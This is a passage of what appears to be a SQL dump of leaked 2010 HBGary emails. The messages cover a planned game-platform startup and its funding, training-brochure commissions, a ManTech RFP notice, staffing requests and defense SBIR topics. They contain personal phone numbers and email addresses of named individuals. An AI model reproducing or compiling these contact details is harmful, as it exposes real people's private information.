sink a lot of money into an expensive game if it has a binary outcome.  \r\n\r\n \r\nYes, this is similar to making movies.  I have studied this quite a bit and discovered a mythology.  It is unfortunate that studios have dumped $60 million plus into big-hit efforts and then failed.  That pretty much damages the entire funding scene for everyone.  The mythology, in this case, is that it takes that much money to build a hit game.  That is simply untrue, but that doesn&#39;t prevent people from wasting other people&#39;s money.  Keep in mind that over 80% of all software projects fail, game or not. Not very many people can build products, apparently that is a black art that eludes even the best and brightest.  As a case that goes against this model, consider that EVE online is still rated in the top ten of all MMO&#39;s and was built in a garage by a couple of guys, the company remains small to this day and has about 250,000 players all paying $14.95 a month.  \r\n\r\n\r\n \r\n\r\n\r\n\r\nThey are much more interested in investing in a portfolio of casual games and use their money/influence with Rock You, others to get them placed.  We are out with a music creation game company right now called Music Mastermind and they are building it in Unity 3D and the VCs are paranoid of the capital costs.\r\n\r\n \r\nQuestion - how does the fact they are using Unity 3D affect the VC perception of the development?  Unity 3D is a very robust platform.  Is the perception if there is a 3D model involved it must be expensive and hard, and if there is a 2.5D model involved it&#39;s somehow drastically easier?  Most flash-based games are 2.5D and it&#39;s easy for VC&#39;s to see previous examples of 2.5D success, maybe they see the opposite in 3D - a bunch of failed projects that lost money?  For the most part, the &#39;game&#39; industry is full of a bunch of really bad developers who have no idea how to write production quality software, there are alot of bodies on that road.\r\n\r\n\r\n \r\n\r\n\r\n\r\n  The strategic players like MTV Games, Sony, HP are much more interested in moving forward.  Getting the right developers with solid experience is key.  Let me know if you need some help in this area, we may know some people that could be helpful.\r\n\r\n \r\nI have no money right now, lol :-)  I agree that the developers make or break a software project - beleive me when I tell you I have shit loads of experience in this regard.  Lol -  I am very pessimistic in this regard.\r\n\r\n\r\n \r\n\r\n\r\n\r\n  Having a platform approach makes sense but I am not sure how many players are doing this right now and what it would take to differentiate.  I think some serious research would be in order—maybe you have done it.  See some of the Tim Chang/Norwest videos on YouTube, might give you some insight on the VC mind set right now.\r\n\r\n \r\n \r\nWell, you see this is the opportunity.  Currently this area is dominated by Flash because its the only platform accessible to the customer base.  In 3D, the only successful platforms are custom-developed in-house propriety built by the game companies.  This is why building a platform makes sense - it exposes this capability to a large and wide ranged audiance, for a variety of commerical purposes - many of which I haven&#39;t even discovered yet.\r\n\r\n \r\nDon&#39;t get me wrong - I understand the VC mindset, which is why I am avoiding them and looking for angel right now.  Once the product is done, it can be shown to a VC as a potential investment to bring to market.  Before it&#39;s done and there is no way you are going to get VC - because of the same reasons you pointed out above.  VC&#39;s aren&#39;t that bright - they lose crap loads of other people&#39;s money because they aren&#39;t really that smart.  I think they are a pretty funny bunch actually.\r\n\r\n\r\n \r\n \r\n\r\n\r\n\r\nLet’s get HB Gary sold so that you can focus 100% on this next great opportunity.  Attached are a few random slides that might be of interest.  \r\n\r\n \r\n \r\nI have to get this effort started right away - it&#39;s been five years since I originally started working on it, I need it to start, it just can&#39;t wait another year.\r\n \r\nThanks for sending over the slides!\r\n \r\n-Greg\r\n',6616,'aaron_hbgary_com/6616.html'),(11045,'2010-08-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008470.M997075P14101Q5900.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Jim, regarding game company',' \r\nSome info you might find valuable.\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Jim Moore &lt;jim@jmoorepartners.com&gt;Date: Mon, Aug 30, 2010 at 11:02 AM\r\nSubject: RE: Jim, regarding game companyTo: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\nHi Greg,\r\n \r\nI would recommend using your own money/friends and family for this stage so that you do not have to dilute your ownership.  All of VC land is focused on casual/social games and they are looking for plays where they can invest $100-500K in a 2 ½D flash-based game and start driving over $1M/month in micro transactions.  The model is free game up front so as to keep the friction down on adoption and get people to adopt in mass.  Tencent now has over 500M registered users (mainly in China) and has become a huge company—market cap $34B.  Nexon is now the largest game portal in Korea/Japan/U.S.  Mobile games are the hot thing now…on the iPhone and now Android.  \r\n\r\n \r\nWhat is difficult for investors is the hit-based aspect of the bigger games—they do not want to sink a lot of money into an expensive game if it has a binary outcome.  They are much more interested in investing in a portfolio of casual games and use their money/influence with Rock You, others to get them placed.  We are out with a music creation game company right now called Music Mastermind and they are building it in Unity 3D and the VCs are paranoid of the capital costs.  The strategic players like MTV Games, Sony, HP are much more interested in moving forward.  Getting the right developers with solid experience is key.  Let me know if you need some help in this area, we may know some people that could be helpful.  Having a platform approach makes sense but I am not sure how many players are doing this right now and what it would take to differentiate.  I think some serious research would be in order—maybe you have done it.  See some of the Tim Chang/Norwest videos on YouTube, might give you some insight on the VC mind set right now.\r\n\r\n \r\nLet’s get HB Gary sold so that you can focus 100% on this next great opportunity.  Attached are a few random slides that might be of interest.  \r\n\r\n \r\nBest,\r\n \r\nJim\r\n \r\nJames A. MooreJ. Moore PartnersMergers &amp; Acquisitions for Technology CompaniesOffice (415) 466-3410Cell (415) 515-1271Fax (415) 466-3402\r\n311 California St, Suite 400San Francisco, CA 94104www.jmoorepartners.com\r\n\r\n \r\n\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] Sent: Sunday, August 29, 2010 1:49 PM\r\nTo: Jim MooreSubject: Jim, regarding game company\r\n\r\n\r\n\r\n \r\n\r\nJim,\r\n\r\n \r\n\r\nAs a totally-unrelated-to-HBGary thread of discussion, I have decided that I must startup that game company I have been noodling about for the last five years.  I have been looking at the market and I think virtual worlds are going to go big over the next 15 years or so.  Gaming has dominated the area of &#39;immersive 3D space&#39; for a while - somewhere around a 6.5 billion dollar market this year.  Everything is home grown on the server side right now.  The time is ripe for platforms to start emerging.  When this happened to the web in the late 90&#39;s, companies like BEA weblogix emerged with billion dollar valuations.  I checked on platforms and found a few companies trying to do it - namely &#39;BigWorld&#39; and &#39;HeroEngine&#39;.  I know someone on the inside of the &#39;Stargate Worlds&#39; project who is using BigWorld and they are very dissastified with it - apparently not very good.  I don&#39;t know much about Hero Engine, but apparently BioWare has adopted it, and BioWare is a well respected name in gaming.  There are other companies emerging too, search for &#39;MMO middleware&#39; and you will see.  I am keen on the idea to build a platform that is not only capable of supporting a game, but can be used for nearly any immersive application environment - especially those that can be tied into social networks (think FaceBook and the dumb little game FarmVille, 65 million users and the company that makes it, Zynga, is worth several hundred million dollars) and also virtual world-to-real world tie in&#39;s, such as retailing and rewards programs that tie-in between the virtual world and the real one - and finally how location-based services might be integrated.  There is alot of possibility here in terms of market verticals - but the basic fact is that nobody has a robust server platform for these environments that customers can just buy - everything is hand made right now so that means most people can&#39;t benefit from it yet.\r\n\r\n\r\n \r\n\r\nSorry for the long winded email - the short of it is I am trying to raise about $200K in seed to get two employees running on this for six months, with the goal being a tech-demo.  Once I have the tech-demo, I can go for real VC.  At least, that is my thinking.  It will be much easier to raise the real funding if the investor can see it working.  I figure making a real game from the platform is a several million dollar job.  If you have any ideas on funding routes please let me know - right now I have someone asking around the golf course so-to-speak.  Maybe doing this w/ seed at $200K isn&#39;t the right approach, let me know if you think I should go about it differently.\r\n\r\n\r\n \r\n\r\nIf HBGary sells, I would be able to start a transition plan to work at the new company - for now I have identified two key technical people who can handle the task of building the tech demo without tapping me as a resource too much.  I have about 5 years of planning and design doc already in a binder, so we just have to execute on it.\r\n\r\n\r\n \r\n\r\nLet me know if you can help,\r\n\r\n-Greg\r\n\r\n \r\n\r\n  \r\n',15352,'aaron_hbgary_com/15352.html'),(11046,'2010-08-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008471.M319205P14101Q5901.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: DRAFTY DRAFT/Training brochure','We&#39;re updating it based upon customer feedback.  I&#39;ll send you the final.  I think what you&#39;ve described below re: invoicing / commissions makes the best sense.Ted\r\nOn Mon, Aug 30, 2010 at 2:31 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs this the final or do you have another one?  I can have other\r\nreps take it in.  Have you decided on how to handle the re-sale aspect?  The\r\nrep will need to know what they will receive  If HBGary sells it, we’ll\r\ninvoice.  So there should be some margin.  I think it’s probably easier if we\r\npay the commissions.  Let me know what discount you want to give and I can\r\nfigure it out.  Less paperwork for you\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, August 06, 2010 3:40 PM\r\nTo: Penny Leavy\r\nSubject: DRAFTY DRAFT\r\n\r\n\r\n\r\n \r\n\r\nTraining Brochure \r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',325,'aaron_hbgary_com/325.html'),(11047,'2010-08-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008471.M541358P14101Q5902.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: Did Aaron get a new Cell phone number??','719-510-8478On Mon, Aug 30, 2010 at 2:47 PM, DeeAnn Buonaccorsi &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe one I have is not the correct number.  I really need to\r\ncontact him today. \r\n\r\n \r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.  Suite 250\r\n\r\nSacramento,\r\nCA  95864\r\n\r\nTel: \r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail \r\ndeeann@hbgary.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',6699,'aaron_hbgary_com/6699.html'),(11048,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008471.M914752P14101Q5903.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Gatorbait RFP - Out Today','Sent from my iPhoneBegin forwarded message:From: &quot;Simpson, Patrick B&quot; &lt;Patrick.Simpson@ManTech.com&gt;\r\nDate: August 30, 2010 4:29:53 PM EDTTo: &lt;obrienp@thebuffalogroup.com&gt;, &lt;kathyrondon@aol.com&gt;, &lt;aaron@hbgary.com&gt;, &lt;jason.syversen@siegetechnologies.com&gt;, &lt;james.berman@inceptre.com&gt;\r\nCc: &quot;Ott, Stephen D&quot; &lt;Stephen.Ott@ManTech.com&gt;, &quot;Stewart, Brad&quot; &lt;Brad.Stewart@mantech.com&gt;, &quot;Mentzer, Justin C&quot; &lt;Justin.Mentzer@ManTech.com&gt;, &quot;Gage, Jeremy R&quot; &lt;Jeremy.Gage@ManTech.com&gt;, &quot;Garvie, David Ian&quot; &lt;David.Garvie@ManTech.com&gt;, &quot;Martin, Scott D&quot; &lt;Scott.Martin@ManTech.com&gt;\r\nSubject: Gatorbait RFP - Out Today\r\n\r\n\r\n\r\nTeam,\r\n\r\n \r\n\r\nGood afternoon.  \r\n\r\n \r\n\r\nPlease be advised that the Gatorbait RFP with a due date of\r\n27 September 2010 was issued today.  We will provide additional\r\ninformation within the next day and look forward to  coordinating our\r\nproposal response with you.\r\n\r\n \r\n\r\nV/r,\r\n\r\n \r\n\r\n \r\n\r\nPatrick B.\r\nSimpson, Sr. Executive Director\r\n\r\nInformation\r\nOperations Division\r\n\r\nCyber &amp;\r\nSecurity Operations Business Unit\r\n\r\n \r\n\r\nManTech\r\nInternational Corporation\r\n\r\nMission,\r\nCyber and Technology Solutions Group\r\n\r\nOffice\r\n703.388.2168\r\n\r\nCell\r\n703.969.8117\r\n\r\nPatrick.Simpson@Mantech.com\r\n\r\n\r\n \r\n\r\nMaking America Stronger by Supporting and Securing Critical Missions\r\n\r\n **PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.  Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.  If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.  Thank you.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6797,'aaron_hbgary_com/6797.html'),(11049,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008472.M192315P14101Q5904.eml','\"Jeremy.Gage@ManTech.com\" <Jeremy.Gage@mantech.com>,\"Jeremy.Gage@ManTech.com\" <Jeremy.Gage@mantech.com>','VOG meeting','Hey Jeremy,\r\n\r\nMeeting with Renee went very well.  She mentioned getting an RFP to\r\nme.  I don\'t know if there is a planned RFP or if she was thinking\r\nsomething more specific.  I got word today that her office was\r\nchecking around on my \"file\" so I\'ll take that as a good sign.\r\n\r\nWould be good to see where we could work on that together.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',6847,'aaron_hbgary_com/6847.html'),(11050,'2010-08-30','\"McMullen, Richard F\" <mcmuller@ctc.com>','/aaron@hbgary.com/new/1297008472.M448003P14101Q5905.eml','aaron@hbgary.com','RE: HBGary Positions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n&nbsp;\r\n\r\nGood afternoon, my name is Rich\r\nMcMullen and I work with Charlie Stack at CTC. Charlie mentioned that you were having\r\ndifficulty filling some slots and we may have some folks with the expertise\r\nthat you are looking for. Can you give me any specifics on the type of\r\npositions, what the contract is, or if there is any other information that\r\nmight help us team with you? We&#8217;ve worked with HBGary in the past and have had\r\na very good working relationship, so I think we might be able to help each\r\nother out again.\r\n\r\n&nbsp;\r\n\r\nYou can reach me at the below\r\nnumber or via email and I&#8217;ll get right back to you.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nRich \r\n\r\n&nbsp;\r\n\r\nRich McMullen\r\n\r\nDirector, Networks and\r\nCommunications \r\n\r\nConcurrent Technologies\r\nCorporation\r\n\r\n814-269-6418\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Stack, Charles \r\nSent: Friday, August 27, 2010 4:50 PM\r\nTo: Sweltz, Ken; McMullen, Richard F\r\nSubject: HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI talked with HBGary today, their main focus is all\r\ncommercial now and selling product and Greg is staying away from&nbsp; the\r\nFedGov stuff (so nothing there for me to support) &#8211; however, they have a\r\nsubsidiary that is operating kind-of on its own on the East Coast and the\r\nperson running it is having a hard time filling on-site slots for projects that\r\ncome up in DC/Maryland (cyber forensics, intelligence analysis, software\r\nassurance, reverse engineering) as all require TS/SCI or TS.&nbsp; I talked\r\nwith him, his name is Aaron Barr aaron@hbgary.com\r\n719-510-8428 and he has a couple slots (TS/SCI) he&#8217;s trying to fill now and\r\npotentially another coming up with TSA that just requires TS. I said I&#8217;d check\r\nto see if we could help him out.\r\n\r\n&nbsp;\r\n\r\nThey have a new product called Active Defense (standalone\r\nserver and agents) which they install in your environment, &nbsp;and say once\r\nor twice a week does a live capture of the running system memory on specified\r\nnodes, sends the dump to their server (HW/SW installed at the site) which scans\r\nit for potential malware using their digital dna technology to look for malware\r\ntraits.&nbsp; This is just pure detection (not prevention), not real time (due\r\nto the memory capture/post processing) but is really good at finding potential\r\nmalicious code. Their scan would&#8217;ve caught the Stuxnet rootkit as the malware\r\ntraits that showed up when they ran their scan on it was 80% malware. Something\r\nto think about as another technology that could feed into CPAKS. \r\n\r\n&nbsp;\r\n\r\nCharlie\r\nStack\r\n\r\n&nbsp;\r\n\r\nPrincipal\r\nSoftware Engineer\r\n\r\nConcurrent\r\nTechnologies Corporation (CTC)\r\n\r\n(cell)\r\n916-207-3859\r\n\r\n(email)\r\nstackc@ctc.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis message and any files transmitted within are intended solely for the addressee or its representative and may contain company sensitive information.  If you are not the intended recipient, notify the sender immediately and delete this message.  Publication, reproduction, forwarding, or content disclosure is prohibited without the consent of the original sender and may be unlawful.\r\nConcurrent Technologies Corporation and its Affiliates.   www.ctc.com  1-800-282-4392\r\n',14424,'aaron_hbgary_com/14424.html'),(11051,'2010-08-30','ted@hbgary.com','/aaron@hbgary.com/new/1297008472.M702734P14101Q5906.eml','aaron@hbgary.com','C of I.jpg','\r\n\r\nI\'ve shared C of I.jpg\r\nMessage from ted@hbgary.com:\r\nInsurance Certification for HBGary Federal (for your records / reference).\r\nClick to open:\r\nC of I.jpg\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',9329,'aaron_hbgary_com/9329.html'),(11052,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008473.M450371P14101Q5908.eml','\"Ted Vera\" <ted@hbgary.com>','Re: DRAFTY DRAFT/Training brochure','I don&#39;t know what that means to us?AaronSent from my iPhoneOn Aug 30, 2010, at 5:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nIn speaking with Maria today she&#39;d prefer a 1099 from HBGary Federal, because of the tax breaks.  What do you think?Ted\r\nOn Mon, Aug 30, 2010 at 2:31 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs this the final or do you have another one?  I can have other\r\nreps take it in.  Have you decided on how to handle the re-sale aspect?  The\r\nrep will need to know what they will receive  If HBGary sells it, we’ll\r\ninvoice.  So there should be some margin.  I think it’s probably easier if we\r\npay the commissions.  Let me know what discount you want to give and I can\r\nfigure it out.  Less paperwork for you\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, August 06, 2010 3:40 PM\r\nTo: Penny Leavy\r\nSubject: DRAFTY DRAFT\r\n\r\n\r\n\r\n \r\n\r\nTraining Brochure \r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n',13732,'aaron_hbgary_com/13732.html'),(11053,'2010-08-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008473.M59508P14101Q5907.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: DRAFTY DRAFT/Training brochure','In speaking with Maria today she&#39;d prefer a 1099 from HBGary Federal, because of the tax breaks.  What do you think?TedOn Mon, Aug 30, 2010 at 2:31 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs this the final or do you have another one?  I can have other\r\nreps take it in.  Have you decided on how to handle the re-sale aspect?  The\r\nrep will need to know what they will receive  If HBGary sells it, we’ll\r\ninvoice.  So there should be some margin.  I think it’s probably easier if we\r\npay the commissions.  Let me know what discount you want to give and I can\r\nfigure it out.  Less paperwork for you\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, August 06, 2010 3:40 PM\r\nTo: Penny Leavy\r\nSubject: DRAFTY DRAFT\r\n\r\n\r\n\r\n \r\n\r\nTraining Brochure \r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',12474,'aaron_hbgary_com/12474.html'),(11054,'2010-08-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008473.M808593P14101Q5909.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DRAFTY DRAFT/Training brochure','More paperwork basically.  Need to cut her commission checks, track the total, issue a 1099 at the end of the year.On Mon, Aug 30, 2010 at 3:45 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI don&#39;t know what that means to us?AaronSent from my iPhone\r\nOn Aug 30, 2010, at 5:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nIn speaking with Maria today she&#39;d prefer a 1099 from HBGary Federal, because of the tax breaks.  What do you think?Ted\r\n\r\nOn Mon, Aug 30, 2010 at 2:31 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs this the final or do you have another one?  I can have other\r\nreps take it in.  Have you decided on how to handle the re-sale aspect?  The\r\nrep will need to know what they will receive  If HBGary sells it, we’ll\r\ninvoice.  So there should be some margin.  I think it’s probably easier if we\r\npay the commissions.  Let me know what discount you want to give and I can\r\nfigure it out.  Less paperwork for you\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, August 06, 2010 3:40 PM\r\nTo: Penny Leavy\r\nSubject: DRAFTY DRAFT\r\n\r\n\r\n\r\n \r\n\r\nTraining Brochure \r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',2219,'aaron_hbgary_com/2219.html'),(11055,'2010-08-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008474.M413589P14101Q5911.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Gaming SBIR - proposals due Sept 15','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg and Aaron,\r\n\r\n&nbsp;\r\n\r\nLook, here are three SBIR topics having to do with\r\ngaming.&nbsp; Might be some gold here.&nbsp; These are only $100k for Phase I,\r\nbut you can get $750k for phase II.&nbsp; The time has passed for talking to\r\nthe PM, but we can post written questions online which isn&#8217;t as good and\r\ncompetitors see the Q&amp;A.&nbsp; It usually takes about 3-4 months for the\r\naward and funding to begin.\r\n\r\n&nbsp;\r\n\r\nAir Force\r\n\r\nTitle:&nbsp; Shareable Game-Based Objects Gateway for DIS and HLA Integration\r\n\r\nObjective;&nbsp; Develop a gateway that permits game-based objects to be integrated\r\nwith Distributed Interactive Simulation (DIS) and High-Level Architecture (HLA)\r\nenvironments.\r\n\r\nhttp://www.dodsbir.net/Topics/BasicTopicsResultsForm.asp?Bookmark=39557&amp;rec=1&amp;DataAction=Find\r\n\r\n\r\n&nbsp;\r\n\r\nTitle:&nbsp; Medical Gaming\r\n\r\nObjective:&nbsp; To develop a web-based serious medical game that covers point of\r\ninjury, medical transport to field hospital or Theater Hospital, critical care\r\nair transport to level 1 trauma hospital in theater or CONUS.\r\n\r\nhttp://www.dodsbir.net/Topics/BasicTopicsResultsForm.asp?Bookmark=39047&amp;rec=8&amp;DataAction=Find\r\n\r\n&nbsp;\r\n\r\nTitle:&nbsp; High Speed Representation of Complex Scenes\r\n\r\nHas ITAR label. This sucks, but you can use their money to\r\nlearn then throw the ITAR code away and start over.\r\n\r\nObjective:&nbsp; Develop innovative approaches to representing highly detailed\r\nbattlespace environments (Terrestrial/Urban/Suburban, Ocean (Deep water and\r\nLittoral)) in a manner that allows such data to be ingested by MDA scene\r\ngeneration tools for use in real-time and near real-time simulations.\r\n\r\nhttp://www.dodsbir.net/Topics/BasicTopicsResultsForm.asp?Bookmark=39086&amp;rec=3&amp;DataAction=Find\r\n\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15075,'aaron_hbgary_com/15075.html'),(11056,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008474.M663151P14101Q5912.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Quick Question','Sent from my iPhoneBegin forwarded message:From: &quot;Daniel Collender&quot; &lt;dcollend@digitalglobe.com&gt;\r\nDate: August 30, 2010 7:01:35 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Quick Question\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nI still owe you a response regarding the training options we\r\nwould like to pursue.\r\n\r\n \r\n\r\nHowever, I was curious if you had  a chance to think about\r\nmy resource request for a senior Windows Security Architect for a special\r\nproject here at DigitalGlobe.\r\n\r\n \r\n\r\nDo you have any contacts/friends/peers who have USG\r\nexperience and might be suitable?\r\n\r\n \r\n\r\nThanks!\r\n\r\n \r\n\r\nDan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2564,'aaron_hbgary_com/2564.html'),(11057,'2010-08-30','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297008474.M86574P14101Q5910.eml','aaron@hbgary.com','Quick Question','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI still owe you a response regarding the training options we\r\nwould like to pursue.\r\n\r\n&nbsp;\r\n\r\nHowever, I was curious if you had&nbsp; a chance to think about\r\nmy resource request for a senior Windows Security Architect for a special\r\nproject here at DigitalGlobe.\r\n\r\n&nbsp;\r\n\r\nDo you have any contacts/friends/peers who have USG\r\nexperience and might be suitable?\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\nDan\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15847,'aaron_hbgary_com/15847.html'),(11058,'2010-08-31','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008474.M954636P14101Q5913.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: DRAFTY DRAFT/Training brochure','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m ok with this for Digital Globe, there are no &#8220;tax&#8221; breaks\r\nfor a 1099, not sure what tax advice she is getting.&nbsp; She has to pay the taxes\r\nand given her compensation level she won&#8217;t be excluded.&nbsp; Moving forward, we\r\nwant to offer to customers so I&#8217;d prefer we sell it under HBGary (increase\r\nrevenue)&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, August 30, 2010 2:24 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr\r\nSubject: Re: DRAFTY DRAFT/Training brochure\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIn speaking with Maria today she\'d prefer a 1099 from HBGary\r\nFederal, because of the tax breaks. &nbsp;What do you think?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Mon, Aug 30, 2010 at 2:31 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nIs this the final or do you have another\r\none?&nbsp; I can have other reps take it in.&nbsp; Have you decided on how to\r\nhandle the re-sale aspect?&nbsp; The rep will need to know what they will\r\nreceive&nbsp; If HBGary sells it, we&#8217;ll invoice.&nbsp; So there should be some\r\nmargin.&nbsp; I think it&#8217;s probably easier if we pay the commissions.&nbsp; Let\r\nme know what discount you want to give and I can figure it out.&nbsp; Less\r\npaperwork for you\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Friday, August 06, 2010 3:40 PM\r\nTo: Penny Leavy\r\nSubject: DRAFTY DRAFT\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTraining\r\nBrochure&nbsp;\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President 